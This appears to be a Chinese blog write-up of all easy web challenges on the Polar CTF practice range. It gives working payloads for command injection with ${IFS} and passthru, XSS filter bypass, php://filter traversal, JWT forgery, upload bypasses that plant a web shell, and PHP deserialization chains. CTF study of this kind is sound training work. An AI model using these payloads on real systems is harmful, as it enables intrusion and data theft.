当前位置: 首页 > news >正文

【Web】记录Polar靶场<简单>难度题一遍过(全)

目录

swp

简单rce 

蜜雪冰城吉警店

召唤神龙

seek flag 

jwt 

login 

iphone

浮生日记 

$$ 

爆破

XFF

rce1 

GET-POST 

被黑掉的站 

签到题 

签到 

session文件包含 

Don't touch me

robots 

php very nice

ezupload 

cookie欺骗 

upload 

干正则 

cool 

uploader

覆盖 

PHP反序列化初试

机器人


明天XYCTF开始,今天干啥也不是,过过签到八股吧。

swp

随手试试,直接访问到/.index.php.swp

 

最大回溯上限绕过preg_match

import requestsurl = 'http://c7800bea-2a12-428d-b1d0-f2272162efa4.www.polarctf.com:8090/'
data = {'xdmtql': 'sys nb'+'very' * 250000
}r = requests.post(url=url, data=data).text
print(r)

运行脚本拿到flag 

 

简单rce 

过滤了空格,可以联想到用include直接包含/flag 

 

 

蜜雪冰城吉警店

8个奶茶,要找第9个

js有点难审&调试比较牛马,下断一直不中,直接结果论吧,改id为9

 改前端,点单成功

 

召唤神龙

进来是一个js小游戏,但没有胜利条件啥的,js关键词搜不出什么头绪

在main.js中看到一段很刺眼的jsfuck

JSFuck 是一种 JavaScript 的混淆技术,它可以将 JavaScript 代码转换成仅由六个字符组成的代码,即 []()!+。这种技术基于 JavaScript 语言的强大特性,尤其是强制类型转换和 JavaScript 中的一些奇技淫巧。

CTF在线工具-在线JSfuck加密|在线JSfuck解密|JSfuck|JSfuck原理|JSfuck算法 

成功解码拿到flag

seek flag 

访问/robots.txt拿到第三段flag

 抓包,在响应头处拿到flag2

 注意到响应头setcookie,让id=0

本着叛逆的原则,我们可以修改cookie让id为1,成功拿到flag1

jwt 

这个一眼垂直越权啊,先注册一个普通用户,然后jwt伪造成功以admin登录

JSON Web Tokens - jwt.io 

jwt-cracker爆破出密钥为SYSA

然后jwt伪造

 

改cookie中的jwt,然后再次访问

 

进入个人中心,拿到flag 

 

login 

f12看到注释,知道学号密码都是20200101

然而只是回显登录成功 

爆破后发现就是学号02-11的登录回显,进行拼凑得到flag{dlcg} 

iphone

随便点下Enter

 

 右键查看源码,提示改UA

 改UA为iphone即可拿到flag

浮生日记 

title提示让我们弹个窗

 

测过无ssti,结合题目名字,合理可以想到js注入

发现替换了script为空,然后赋值给value

 

显然可以先闭合value,然后独立出一个script执行恶意代码

payload:

"><scrscriptipt>alert(1)</scrscriptipt>

 

点击确定后拿到flag

 

$$ 

 直接$GLOBALS读全局变量就可

payload:

?c=GLOBALS

爆破

if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){ ... }:这行代码检查经过 MD5 加密后的字符串的特定位置的字符是否相同。具体地,它检查字符串的第 2、15 和 18 个字符是否相同。如果这三个位置的字符相同,则执行内部代码块。 

 if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){ ... }:这行代码对特定位置的字符进行处理,并将它们转换为整数进行计算。具体地,它计算字符串的第 2、15 和 18 个字符的整数值相加,然后除以第 2 个字符的整数值,并检查结果是否等于字符串的第 32 个字符的整数值。如果相等,则执行内部代码块。

这个肯定不是啥php特性了,只能如题所说,爆破!

2位就能爆出来

 

 

XFF

直接xff伪造ip即可

 

rce1 

过滤空格用${IFS}绕过即可

 

;tac${IFS}fllllaaag.php

 右键查看源码,拿到flag

GET-POST 

正常传参就行 

 

被黑掉的站 

提示站里还有马

扫出来index.php.bak和shell.php

访问index.php.bak,就是给到一个字典

 

访问shell.php,显然就是拿字典爆破

开爆就完了

拿到flag

签到题 

 承认是个弟弟,但setcookie初始值为no

 改didi=yes,发包

base64解码

 访问/data/index.php

替换为空双写绕过即可

payload:

/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag

 

base64解码即可

签到 

把disabled删掉就可

 

弹窗 

 

 但提交后还是不行,继续看前端

把maxlength改大即可

 

如下 

 

 

session文件包含 

发包,看到响应头给了一个PHPSESSID 

点击mydirectory,回显如下

 右键查看源码:

似乎可以任意文件包含,尝试读文件

base64解码

 

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

session_start()一般是给session反序列化用的,这题考的不是反序列化 

可以直接利用恶意session文件包含

笑死,直接读环境变量的flag是假的,只能读文件

Don't touch me

右键查看源码

访问/2.php

 

把bottom的disabled属性给删掉,点击后跳转/3.php

右键查看源码

 访问/fla.php拿到flag

robots 

访问/robots.txt

 访问/fl0g.php拿到flag

 

php very nice

这不直接喂到嘴边了 

$a=new Example();
$a->sys="system('tac f*');";
echo serialize($a);

 

ezupload 

 

改mime type为image/gif即可 

 

连蚁剑,拿flag 

 

cookie欺骗 

cookie改user=admin即可 

 

upload 

 随便上传一个php文件,发现直接拿掉了后缀,不对其作为php文件进行解析

 回到初始界面,右键查看源码

 访问?action=show_code拿到源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

 替换为空,直接双写绕过即可

可以看到成功上传php文件

连蚁剑,拿flag

 

干正则 

 🤔一眼一个变量覆盖,然后flag.php的正则也形同虚设,可以用通配之类的绕过

无回显的shell_exec也直接echo了

payload:

?id=a[0]=www.polarctf.com&cmd=;tac f*

 

cool 

系统命令执行函数没ban干净只能说 

payload:

?a=passthru('cat f*');

 

uploader

这不就纯纯的无过滤文件上传,还回显路径

用py写个文件上传脚本

import requestsurl = 'http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/'  # 替换成你的服务器地址files = {'file': open('D:\CTF\码\yjh3.php', 'rb')}  # 将文件名替换为你想上传的文件response = requests.post(url, files=files)if response.status_code == 200:print("文件上传成功!")print("服务器返回的消息:", response.text)
else:print("文件上传失败!")print("错误码:", response.status_code)

拿到$sandbox和filename,拼接得到文件路径

http://ca32eb68-d654-4b69-a982-eaf7d23d5242.www.polarctf.com:8090/d7c0fc90dc45cff7fac2064cf82a39a9/yjh3.php

连蚁剑,拿flag 

覆盖 

和之前哪题好像一样的,不解释了 

 payload:

?id=a[0]=www.polarctf.com&cmd=;tac f*

PHP反序列化初试

 一眼出链子

Easy.__wakeup -> Evil.__toString 

注意这里的shell_exec也是echo给了回显

exp:

<?php
class Easy{public $name;
}
class Evil{public $evil;public $env;
}$b=new Evil();
$a=new Easy();
$a->name=$b;
$b->evil="tac f*";
echo serialize($a);?>

 

机器人

访问/robots.txt

 访问/27f5e15b6af3223f1176293cd015771d/flag.php(因为这里Disallow的是一个目录,所以猜测敏感文件在这个目录下)

 

拼接拿到flag 

快速打完,睡觉💤

相关文章:

【Web】记录Polar靶场<简单>难度题一遍过(全)

目录 swp 简单rce 蜜雪冰城吉警店 召唤神龙 seek flag jwt login iphone 浮生日记 $$ 爆破 XFF rce1 GET-POST 被黑掉的站 签到题 签到 session文件包含 Dont touch me robots php very nice ezupload cookie欺骗 upload 干正则 co…...

生产制造园区数字孪生3D大屏展示提升运营效益

在智慧园区的建设中&#xff0c;3D可视化管理平台成为必不可少的工具&#xff0c;数字孪生公司深圳华锐视点打造的智慧园区3D可视化综合管理平台&#xff0c;致力于将园区的人口、经济、应急服务等各项业务进行3D数字化、网络化处理&#xff0c;从而实现决策支持的优化和管理的…...

R语言技能 | 不同数据类型的转换

原文链接&#xff1a;R语言技能 | 不同数据类型的转换 本期教程 写在前面 今天是4月份的第一天&#xff0c;再过2天后再一次迎来清明小假期。木鸡大家是否正常放假呢&#xff1f; 我们在使用R语言做数据分析时&#xff0c;会一直对数据进行不同类型的转换&#xff0c;有时候…...

python如何处理文本错误

在python中&#xff0c;如果读取的文本文件不在程序的目录中&#xff0c;会提示FileNotFoundError 如果不能确定文本文件是否在目录中&#xff0c;可以用try except语句 代码如下 from pathlib import PathpathPath(alice.txt) try:contentspath.read_text(encodingutf_8) e…...

Cesium 批量种树

1、准备树种建模 分各种级别建模LOD1-LODN 其中meta.json长这样&#xff1a; Gltf再3Dmax中导出Obj,再通过ObjToGltf的工具转换&#xff0c;参考 https://editor.csdn.net/md/?articleId96484597 2、准备shp点数据。&#xff08;shp中的点位就是种树的位置&#xff09; 3、准…...

Docker基础系列之TLS和CA认证

Docker基础系列之TLS和CA认证 文章目录 Docker基础系列之TLS和CA认证1. 引言2. 初识TLS和CA3. 开启TLS和CA认证3.1 生成证书3.2 配置TLS 4. 参考和感谢 1. 引言 我们日常工作当中会遇到这些需求&#xff1a; 监控Docker容器在idea开发工具中连接Docker&#xff0c;直接发布至…...

总结:微信小程序中跨组件的通信、状态管理的方案

在微信小程序中实现跨组件通信和状态管理,有以下几种主要方案: 事件机制 通过事件机制可以实现父子组件、兄弟组件的通信。 示例: 父组件向子组件传递数据: 父组件: <child binddata"handleChildData" /> 子组件: Component({..., methods: { handleChildData(…...

企业能耗数据分析有哪些优势?怎样进行分析?

随着互联网技术的发展&#xff0c;企业在运营中会出现大量的用能数据&#xff0c;但却做不了精准的用能数据分析&#xff0c;导致数据没有得到有效利用&#xff0c;以及产生能源浪费现象。 为什么企业用能分析总是难&#xff1f; 一、用能分析过程复杂 由于用能分析过于复杂…...

containerd配置HTTP私仓

文章目录 1. &#x1f6e0;️ 基础环境配置2. &#x1f433; Docker安装3. &#x1f6a2; 部署Harbor&#xff0c;HTTP访问4. &#x1f4e6; 部署ContainerD5. &#x1f504; 修改docker配置文件&#xff0c;向harbor中推入镜像6. 配置containerd6.1. 拉取镜像验证6.2. 推送镜像…...

掌握Go语言:Go语言类型转换,无缝处理数据类型、接口和自定义类型的转换细节解析(29)

在Go语言中&#xff0c;类型转换指的是将一个数据类型的值转换为另一个数据类型的过程。Go语言中的类型转换通常用于将一种数据类型转换为另一种数据类型&#xff0c;以满足特定操作或需求。 类型转换的基本语法 在Go语言中&#xff0c;类型转换的基本语法为&#xff1a; ne…...

Chatgpt掘金之旅—有爱AI商业实战篇|文案写作|(三)

演示站点&#xff1a; https://ai.uaai.cn 对话模块 官方论坛&#xff1a; www.jingyuai.com 京娱AI 一、前言 人工智能&#xff08;AI&#xff09;技术作为当今科技创新的前沿领域&#xff0c;为创业者提供了广阔的机会和挑战。随着AI技术的快速发展和应用领域的不断拓展&…...

c++20 的部分新概念及示例代码-Contracts,Ranges

C20 引入了 contracts&#xff08;契约&#xff09;&#xff0c;这是一种编程范式&#xff0c;它允许程序员在代码中添加先决条件&#xff08;preconditions&#xff09;、后置条件&#xff08;postconditions&#xff09;和断言&#xff08;assertions&#xff09;等契约&…...

pytorch剪枝

原文&#xff1a;https://blog.51cto.com/u_16213398/10059574 Pytorch剪枝实现指南 指南概述 在这篇文章中&#xff0c;我将向你介绍如何在PyTorch中实现模型剪枝。剪枝是一种优化模型的技术&#xff0c;可以帮助减少模型的大小和计算量&#xff0c;同时保持模型的准确性。…...

马斯克旗下xAI发布Grok-1.5,相比较开源的Grok-1,各项性能大幅提升,接近GPT-4!

本文原文来自DataLearnerAI官方网站&#xff1a;马斯克旗下xAI发布Grok-1.5&#xff0c;相比较开源的Grok-1&#xff0c;各项性能大幅提升&#xff0c;接近GPT-4&#xff01; | 数据学习者官方网站(Datalearner) 继Grok-1开源之后&#xff0c;xAI宣布了Grok-1.5的内测消息&…...

数据结构与算法 顺序串的基本运算

一、实验内容 编写一个程序sqstring.cpp&#xff0c;实现顺序串的各种基本运算&#xff0c;并在此基础上实现一个程序exp7.cpp&#xff0c;完成以下功能&#xff1a; &#xff08;1&#xff09;建立串s“abcdefghefghijklmn”和串s1“xyz” &#xff08;2&#xff09;输出串…...

2024年04月数据库流行度最新排名

点击查看最新数据库流行度最新排名&#xff08;每月更新&#xff09; 2024年04月数据库流行度最新排名 TOP DB顶级数据库索引是通过分析在谷歌上搜索数据库名称的频率来创建的 一个数据库被搜索的次数越多&#xff0c;这个数据库就被认为越受欢迎。这是一个领先指标。原始数…...

golang语言系列:SOLID、YAGNI、KISS等设计原则

云原生学习路线导航页&#xff08;持续更新中&#xff09; 本文是 golang语言系列 文章&#xff0c;主要对编程通用技能 SOLID、YAGNI、KISS等设计原则 进行学习 1.SOLID设计原则 S&#xff1a;SRP&#xff0c;单一职责原则O&#xff1a;OCP&#xff0c;开闭原则L&#xff1a;…...

Meta Pixel:助你实现高效地Facebook广告追踪

Meta Pixel 像素代码是用來衡量Facebook广告效果的一个官方数据工具&#xff0c;只要商家有在Facebook上投放广告就需要串联Meta Pixel 像素代码来查看相关数据。 它本质上是一段 JavaScript 代码&#xff0c;安装后可以让用户在自己网站上查看到访客活动。它的工作原理是加载…...

基于Arduino IDE 野火ESP8266模块 文件系统LittleFS 的开发

一、文件系统LittleFS的介绍 LittleFS是一个为微控制器设计的轻量级、可靠且高性能的文件系统。它专为嵌入式设备打造&#xff0c;拥有占用空间小、对硬件要求低的特点&#xff0c;同时保证在断电情况下数据的完整性和稳定性。 1.设计与特点 LittleFS的设计旨在提供嵌入式系统所…...

通讯录改造———文件版本

上一篇文章我们详细讲了文件操作&#xff0c;这时候我们就可以把通讯录保存到文件中&#xff0c;这样即使程序退出了&#xff0c;联系人的信息也还是保存着&#xff0c;下一次启动程序时我们就可以把文件中的数据读取到程序中来使用。 保存 首先我们要在退出通讯录之前把联系人…...

FastAPI Web框架教程 第13章 WebSocket

13-1 WebSocket是什么 WebSocket简介&#xff1a; WebSocket是一种在单个TCP连接上进行全双工通信的协议。 WebSocket使得客户端和服务器之间的数据交换变得更加简单&#xff0c;允许服务端主动向客户端推送数据。 在WebSocket API中&#xff0c;浏览器和服务器只需要完成一…...

将 Elasticsearch 向量数据库引入到数据上的 Azure OpenAI 服务(预览)

作者&#xff1a;来自 Elastic Aditya Tripathi Microsoft 和 Elastic 很高兴地宣布&#xff0c;全球下载次数最多的向量数据库 Elasticsearch 是公共预览版中 Azure OpenAI Service On Your Data 官方支持的向量存储和检索增强搜索技术。 这项突破性的功能使你能够利用 GPT-4 …...

SeLinux 常见的宏

在SeLinux框架中&#xff0c;google定义好了一些宏&#xff0c;我们使用这些宏&#xff0c;开发时可以更加方便。大部分的宏是定义在te_macros文件中 type_transition type_transition source_type target_type : class default_type当主体进程域source_type 对target_type 类…...

图解PyTorch中的torch.gather函数和 scatter 函数

前言 torch.gather在目前基于 transformer or query based 的目标检测中&#xff0c;在最后获取目标结果时&#xff0c;经常用到。 这里记录下用法&#xff0c;防止之后又忘了。 介绍 torch.gather 官方文档对torch.gather()的定义非常简洁 定义&#xff1a;从原tensor中获…...

Pytorch实用教程: torch.tensor()的用法

在PyTorch中&#xff0c;torch.tensor()函数是用来创建张量&#xff08;Tensor&#xff09;的一个非常基础和重要的函数。张量是PyTorch中的基本数据结构&#xff0c;用于存储和操作数据&#xff0c;可以看作是一个高维数组。torch.tensor()函数可以从数据创建新的张量&#xf…...

Java设计模式详解:工厂模式

Java设计模式详解&#xff1a;工厂模式 文章目录 Java设计模式详解&#xff1a;工厂模式前言一、工厂模式是个啥&#xff1f;二、工厂模式怎么用&#xff1f;三、工厂模式啥时候用&#xff1f;四、工厂模式的优点总结 前言 今天咱们来聊聊设计模式中的一位重要成员——工厂模式…...

Python爬虫:爬虫常用伪装手段

目录 前言 一、设置User-Agent 二、设置Referer 三、使用代理IP 四、限制请求频率 总结 前言 随着互联网的快速发展&#xff0c;爬虫技术在网络数据采集方面发挥着重要的作用。然而&#xff0c;由于爬虫的使用可能会对被爬取的网站造成一定的压力&#xff0c;因此&#…...

【数据结构】非线性结构---二叉树

1、树 1.1 树的相关概念 节点的度&#xff1a;一个节点含有的子树的个数称为该节点的度&#xff1b; 如上图&#xff1a;A的为6 叶节点或终端节点&#xff1a;度为0的节点称为叶节点&#xff1b; 如上图&#xff1a;B、C、H、I...等节点为叶节点 非终端节点或分支节点&#…...

【战略前沿】与中国达成生产协议后,飞行汽车即将起飞

【原文】Flying cars edge towards takeoff after Chinese production deal 【作者】Thomas Macaulay 斯洛伐克公司KleinVision签署了一项协议&#xff0c;将大规模生产AirCar。 一辆获得航空认证的飞行汽车向商业化又迈出了一大步。 空中汽车的创造者KleinVision今天宣布出售…...

谷粒商城实战(007 压力测试)

Java项目《谷粒商城》架构师级Java项目实战&#xff0c;对标阿里P6-P7&#xff0c;全网最强 总时长 104:45:00 共408P 此文章包含第141p-第p150的内容 简介 安装jmeter 安装jmeter 使用中文 这样写就是200个线程循环100次 一共是2万个请求 介绍线程组 添加请求 可以是htt…...

贵阳建设工程招投标网站/太原seo网络优化招聘网

python据说功能强大&#xff0c;触角伸到各个领域&#xff0c;网上搜了一下其科学计算和工程计算能力也相当强&#xff0c;具备各种第三方包&#xff0c;除了性能软肋外&#xff0c;其他无可指摘&#xff0c;甚至可以同matlab等专业工具一较高下。 从网上找了一个使用遗传算法实…...

城乡建设委员会网站/站长工具seo词语排名

广州疯狂软件学院拥有三大课程体系包括&#xff1a;java课程&#xff0c;android课程&#xff0c;ios课程&#xff0c;疯狂软件年终钜惠&#xff0c;报名java就业班&#xff0c;免费赠送基础班&#xff0c;名额有限&#xff0c;本月火热报名中&#xff0c;欢迎有志之士电话或者…...

截屏的图片wordpress不能显示/深圳网站优化排名

在 Linux 系统中有几种文件编辑器&#xff0c;你可以根据需求选择合适的文件编辑器。在这里&#xff0c;我想推荐 Vim 编辑器。-- Magesh Maruthamuthu如果你是一名系统管理员或者开发者&#xff0c;当你在终端工作时有时会需要编辑一个文件。在 Linux 系统中有几种文件编辑器&…...

高密公司做网站/竹子建站官网

几个月以来,自己的亲身经历一再地证明了根本没有所谓的权威,只要努力,一切皆有可能. 今天第一次发博客,勉励自己.不断疯狂学习.不断进步转载于:https://www.cnblogs.com/Alex0111/p/4470721.html...

网站点击弹出下载框 怎么做/知名做网站的公司

Unity和Maya 今天在美术同事那儿了解些Maya常识&#xff0c;加上自己在Unity3D中的一点儿小操作&#xff0c;记录一下Gizmos 之前就知道Maya和Unity3D的轴向是一致的&#xff0c;在同事那儿看他操作Maya之后&#xff0c;发现这两者在操作上有一些类似。 Unity3D的轴向 有趣的是…...

房产网站 模板/seo怎么做教程

sqlserver中&#xff0c;没有提供现成的方法来拷贝某个表结构&#xff0c;不过可以换种方式来处理&#xff0c;如果拷贝某个表的表结构&#xff0c;同时这个表内无数据&#xff0c;可以用如下方式解决&#xff1a;创建tempa表&#xff0c;作为源表。 create table tempa( [i…...